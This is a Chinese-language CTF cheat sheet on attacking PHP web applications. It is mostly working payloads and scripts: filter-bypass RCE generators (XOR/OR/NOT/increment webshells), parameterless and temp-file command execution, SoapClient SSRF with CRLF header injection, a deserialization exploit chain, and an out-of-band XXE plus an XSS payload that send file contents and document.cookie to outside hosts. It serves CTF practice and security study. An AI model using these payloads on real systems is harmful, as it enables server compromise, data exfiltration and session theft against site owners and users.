其它:eval, exit, die, list, array()
无法通过动态函数调用。
php 注释绕过
注释符号优先级小于 ?> 的了。所以我们只需要闭合然后再重新开就能执行代码了。
换行符 %0a/%0d
php 精度溢出 1 2 3 if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ) $a = 9e-199
php 运算顺序
优先级
运算符
描述
1
clone, new
创建对象
2
**
幂运算
3
++, --
递增/递减
4
~, (int), (float), (string), (array), (object), (bool), @
类型转换和错误控制
5
instanceof
类型判断
6
!
逻辑非
7
*, /, %
算术运算
8
+, -, .
算术运算和字符串连接
9
<<, >>
位运算
10
<, <=, >, >=
比较运算
11
==, !=, ===, !==, <>, <=>
比较运算
12
&
位与、引用
13
^
位异或
14
`
`
15
&&
逻辑与
16
`
17
??
NULL 合并
18
? :
三元运算符
19
=, +=, -=, *=, **=, /=, .=, %=, &=, `
=, ^=, <<=, >>=`
20
and
逻辑与(低优先级)
21
xor
逻辑异或
22
or
逻辑或(低优先级)
php 弱比较
两个0e开头纯数字的会被当作科学计数法解析
0 和 0e开头后面无所谓的弱相等
任意字符串和 true 弱相等
自动弱类型转换
php 参数特性 大小写不敏感 php代码天然对大小写不敏感。
特殊参数符号 PHP 会替换 ,+[ 等特殊符号为 _。
但要是第一个是 [ 就会在把它替换为 _ 后就会停止替换。
$_REQUEST POST覆盖,$_REQUEST 同时接受 GET 和 POST 的数据,并且 POST 具有更高的优先值,只需要同时 GET 和 POST 有相同的参数,在检测时 POST 的值就会覆盖 GET 的值从而绕过。
$_SERVER 不会进行 URL 解码。
php 函数调用 全局函数 1 2 3 4 5 6 7 8 9 <?php function fucku ( ) { echo "fucku" .PHP_EOL; } $a = "fucku" ;$a ();
类下的静态函数 1 2 3 4 5 6 7 8 9 10 11 <?php class A { function fucku ( ) { echo "fucku" .PHP_EOL; } } $a = "A::fucku" ;$a ();
非直接公开函数(PHP<8.2) 作用域如果不是顶级的函数,在编译阶段会先以一个 \0 开头的函数名被放入函数表中,在执行阶段于 DECLARE_FUNCTION 的处理器中才会将真正的函数名放入函数表。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $password = trim ($_REQUEST ['password' ] ?? '' );$name = trim ($_REQUEST ['name' ] ?? 'viewsource' );function viewsource ( ) {show_source (__FILE__ );}if (strcmp (hash ('sha256' , $password ), 'ca572756809c324632167240d208681a03b4bd483036581a6190789165e1387a' ) === 0 ) { function readflag ( ) { echo 'flag' ; } } $name ();?>
1 '\0' + name + filename + ':' + start_lineno + '$' + rtd_key_counter
name :函数名
filename :PHP文件绝对路径
start_lineno :函数起始定义行号(以1为第一行)
rtd_key_counter :一个全局访问计数,每次执行会自增1,从0开始
1 2 \0 func2/root/source/php-src/tests/web/ctf3.php:7 $0
trim 是用来在字符串首位去除空白字符的,但 调用函数 且当遇到 \ 时,php会认为这是在用 \phpinfo() 这种全局命名空间调用函数,所以不会对 \0 进行删除。
强网杯2025Ezphp
强网杯S9 Polaris战队Writeup - 星盟安全团队
无需声明,直接调用的解法:
直接调用类 test 下的即将声明的 readflag 方法,无需调用类的 readflag 方法进行声明。
先调用匿名类的 readflag 声明全局 readflag 然后再次调用的解法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $obj1 = new test ();$obj1 ->f = 'test' ;$obj1 ->key = 'class' ;$obj1 ->readflag="14229955" ;$obj2 = new test ();$obj2 ->f = array ("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$0 " , 'readflag' );$obj2 ->key = 'func' ;$obj3 = new test ();$obj3 ->f = 'readflag' ;$obj3 ->key = 'func' ;$array = array ($obj1 , $obj2 ,$obj3 );$serialized = serialize ($array );
php 匿名类加载 裸漏的匿名类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if (isset ($_GET ['ezphpPhp8' ])) { highlight_file (__FILE__ ); } else { die ("No" ); } $a = new class { function __construct ( ) { } function getflag ( ) { system ('cat /flag' ); } }; unset ($a ); $a = $_GET ['ezphpPhp8' ]; $f = new $a (); $f ->getflag (); ?>
跟上面非公开函数格式差不多:
1 2 "class@anonymous\0" +php文件绝对路径+":" +行号+"$" +rtd_key_counterclass @anonymous %00/var /www /html /flag .php :7$0
eval内的匿名类强网杯2025 赛后复现 - xNftrOne - 博客园
1 2 3 <?php eval ('$b = new class{};' );echo get_class ($b );
1 class @anonymous \0/var /www /html /index .php (1) : eval ()'d code :1$0//行号$序号
php 反射调用 php反射利用总结 · HacKerQWQ’s Studio
RCE大法 无字母数字 eval 进制/编码转换(PHP>=7) 1 2 3 4 5 "\x70\x68\x70\x69\x6e\x66\x6f" ();"\163\171\163\164\145\155" ("\167\150\157\141\155\151" );"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}" ('id' );{"username" :"xx" ,"password" :"yy" ,"__class__" : {"__base__" : {"is\u0076ip" : 1 }}}
通过计算达成目的(PHP >= 7) rce_or.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport urllibfrom sys import *import osos.system("php rce_or.php" ) def action (arg ): s1 = "" s2 = "" for i in arg: f = open ("rce_or.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output) param = action(input ("\n[+] your function:" )) + action(input ("[+] your command:" )) + ";" print (param)
rce_or.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
rce_取反.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function negateRce ( ) { fwrite (STDOUT,'[+]your function: ' ); $system =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); fwrite (STDOUT,'[+]your command: ' ); $command =str_replace (array ("\r\n" , "\r" , "\n" ), "" , fgets (STDIN)); echo '[*] (~' .urlencode (~$system ).')(~' .urlencode (~$command ).');' ; } negateRce ();
自增(PHP=5) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $_ =[];$_ =@"$_ " ; $_ =$_ ['!' =='@' ]; $___ =$_ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$___ .=$__ ; $___ .=$__ ; $__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $___ .=$__ ;$____ ='_' ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$__ =$_ ;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++;$__ ++; $____ .=$__ ;$_ =$$____ ;$___ ($_ [_]);
1 ?shell=$_ =('%01' ^'`' ).('%13' ^'`' ).('%13' ^'`' ).('%05' ^'`' ).('%12' ^'`' ).('%14' ^'`' ); $__ ='_' .('%0D' ^']' ).('%2F' ^'`' ).('%0E' ^']' ).('%09' ^']' );$___ =$$__ ;$_ ($___ [_]);
无数字字母 system 上传临时文件,然后执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > 命令执行-upload</title > </head > <body > <form action ="https://8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 选择文件:</label > <input type ="file" name ="file" /> <input type ="submit" value ="Upload" /> </form > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /?c=.%20/???/????????[@-[] HTTP/1.1 Host : 8b8486a3-6e53-472e-9acb-a96c6b6ab23b.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : multipart/form-data; boundary=----geckoformboundary7e85db62d4236557bbc2a910f7edb9b9Content-Length : 233Origin : http://127.0.0.1Referer : http://127.0.0.1/Upgrade-Insecure-Requests : 1Sec-Fetch-Dest : documentSec-Fetch-Mode : navigateSec-Fetch-Site : cross-siteSec-Fetch-User : ?1Priority : u=0, iTe : trailersConnection : keep-aliveContent-Disposition: form-data; name ="file"; filename="1.txt" Content-Type : text /plain #/bin/sh cat flag.php
无引号 1 2 3 4 var_dump (scandir (chr (47 )));var_dump (file_get_contents (chr (47 ).chr (102 ).chr (108 ).chr (97 ).chr (103 ).chr (95 ).chr (49 ).chr (115 ).chr (95 ).chr (104 ).chr (101 ).chr (114 ).chr (101 ).chr (47 ).chr (102 ).chr (108 ).chr (97 ).chr (103 ).chr (95 ).chr (56 ).chr (51 ).chr (49 ).chr (98 ).chr (54 ).chr (57 ).chr (48 ).chr (49 ).chr (50 ).chr (99 ).chr (54 ).chr (55 ).chr (98 ).chr (51 ).chr (53 ).chr (102 ).chr (46 ).chr (112 ).chr (104 ).chr (112 )));readfile (implode (array (chr (47 ),chr (102 ),chr (108 ),chr (97 ),chr (103 ))));
无参 无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
顾名思义,调用函数的时候内部参数只能是函数,而不能有参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 var_dump (scandir (current (localeconv ()))); print_r (scandir (next (scandir (getcwd ()))))highligth_file (next (array_reverse (scandir (current (localeconv ())))));show_source (end (getallheaders ()));assert (end (getallheaders ()));var_dump (end (getallheaders ()));a=eval (end (current (get_defined_vars ())));&b=system ('ls /' ); ?b=system ("tac flag.php" );&c=eval (pos (pos (get_defined_vars ()))); eval (hex2bin (session_id (session_start ())));?code=eval (reset (array_reverse (current (get_defined_vars ()))));&b=system ("cat%20flag.php" ); ?1 =system ('cat flag.php' );&code=eval (implode (reset (get_defined_vars ()))); ?exp=system (array_shift (apache_request_headers ()));
短标签特性 短标签加反引号自动执行,反引号相当于 无回显的 exec_shell,
<?= 就是 <?echo,我们让 exec_shell 有了回显。
过滤引号和所有读文件(PHP<8) 仅对 PHP<8,PHP版本变高后必须加引号才能被识别为 str。
1 echo (bin2hex ("system('cat /etc/passwd');" ));
1 2 3 4 php -r eval (hex2bin(substr(_刚才的内,1))) 加 _ 又去掉的原因:把16进制加上 _ 会识别为str 而不是数。 php -r eval (hex2bin(substr(_73797374656d2827636174202f6574632f70617373776427293b,1)));
过滤除了进制转换函数外的所有字母 2024ciscn初赛WP - “我不是二次元!”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //_GET=hex2bin(5f474554) hex2bin 函数把十六进制值的字符串转换为 ASCII 字符 //5f474554=dechex(1598506324) //hex2bin将hex2bin看作是一个36进制数,用10制转换来表示该36进制数 //base_convert()函数将10进制数转化为36进制的hex2bin //dechex --> 将10进制数转换为16进制,使得16进制数能够逃逸 $pi=base_convert(37907361743,10,36)//代替 hex2bin (dechex(1598506324)); ($$pi){pi}(($$pi){cos}) &pi=system&cos=cat /flag
存在 disable_function
蚁剑插件绕过
同义函数替代
读文件:file_get_contents() / highlight_file() / show_source() / readfile() / readgzfile() / print_r(file()) = include() 非php文件 = require() 非php文件
phpinfo() 都不可用时:
1 2 3 var_dump (get_cfg_var ("disable_functions" ));var_dump (get_cfg_var ("open_basedir" ));var_dump (ini_get_all ());
原生类 SplFileObject 读取文件后返回第一行,可以配合伪协议过滤读出。
1 2 3 4 5 <?php $a = new SplFileObject("php://filter/read=convert.base64-encode/resource=F.php"); echo $a; echo base64_decode($a);
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } if (isset ($_GET ['d' ])){ unserialize (base64_decode ($_GET ['d' ])); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } $L = new teacher ("ing" ,'department' ,1000 );$D = new classroom ('one class' ,$L );$a = new school ($D ,"ong" );$S = base64_encode (serialize ($a ));echo $S ;
GlobIterator,DirectoryIterator,FilesystemIterator 遍历文件目录。
1 $a = new GlobIterator ("/*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
1 $a = new FilesystemIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
1 2 3 4 $iterator = new DirectoryIterator ('C:\\' );echo $iterator ->getPathname ();?> $a = new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().'<br>' );}
1 2 3 4 <?php $a = new DirectoryIterator ("glob:///*f*" );echo $a ;
SoapClient 该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。
cftshow 259
1 2 3 4 5 6 7 8 9 <?php $ua ="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow" ;$client =new SoapClient (null ,array ('uri' =>'127.0.0.1' ,'location' =>'http://127.0.0.1:9999/flag.php' ,'user_agent' =>$ua ));$client ->AAA ();?>
记得修改 Content-Length 使得下面失效。
直接传进去就行。
ZipArchive 主要利用的是ZipArchive::open ,写入文件,把模式改成 overwrite 删除文件。
1 2 3 4 <?php $a = new ZipArchive ();$a -> open ("1.txt" , ZipArchive ::OVERWRITE );$a -> open ("1.txt" , 8 );
Error,Exception:XSS/Hash XSS Error:php7,定义一个 error 类,当反序列化的 object 被当作字符串调用,触发 _tostring。
1 2 3 4 5 6 7 8 <?php $a =new Error ("<script>alert('xss')</script>" );echo urlencode (serialize ($a ));<?php $a =new Exception ('<script>window.open("http://9f5ea2b6-a58d-4d22-82c7-eeb923f3d9a6.node5.buuoj.cn:81/"+document.cookie)</script>' );echo urlencode (serialize ($a ));
Exception:php5,其他同理。
哈希 1 2 3 4 <?php $a = new Error("payload",1);$b = new Error("payload",2); echo $a; echo $b;
ReflectionFunctionAbstract ReflectionFunctionAbstract::getDocComment(),获取类中各个函数注释内容
1 2 3 4 5 6 7 8 9 10 11 <?php class Flag { public function givemeflag ( ) { return 123 ; } } $a =new ReflectionMethod ('Flag' ,'givemeflag' );echo $a ->getDocComment ();
SimpleXMLElement 这个类 construct 的时候可以访问 xml 并带出文件内容。
evl.xml
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE try [ <!ENTITY % int SYSTEM "http://192.168.42.128:1234/send.xml" > %int; %all; %send; ]>
send.xml
1 2 <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=test.php" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.42.128:1234/?%payl;'>" >
flag.php
1 2 <?php $a = new SimpleXMLElement ("http://192.168.42.128:1234/evl.xml" ,2 ,true );
当服务器访问时,先加载正常的 xml 文件,然后在跳板到 DTD 代码中执行具体操作。最后解码日志,得到文件具体内容。
ReflectionClass 查看类的信息,用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class A { public function hello ( ) { echo "qwq" ; } } ReflectionClass ::export ('A' );$a = new ReflectionClass ("A" );echo $a ;
ReflectionMethod 读取注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class User { public function qwq ( ) { } public function qqqqqqqq ( ) { } } $method2 = new ReflectionMethod ('User' , 'qqqqqqqq' );var_dump ($method2 ->getDocComment ());var_dump ($method2 ->__toString ());
Closure 一个可以调任意函数的类。
1 Closure ::fromCallable ("system" )("whoami" );
反序列化 详见 PHP 反序列化。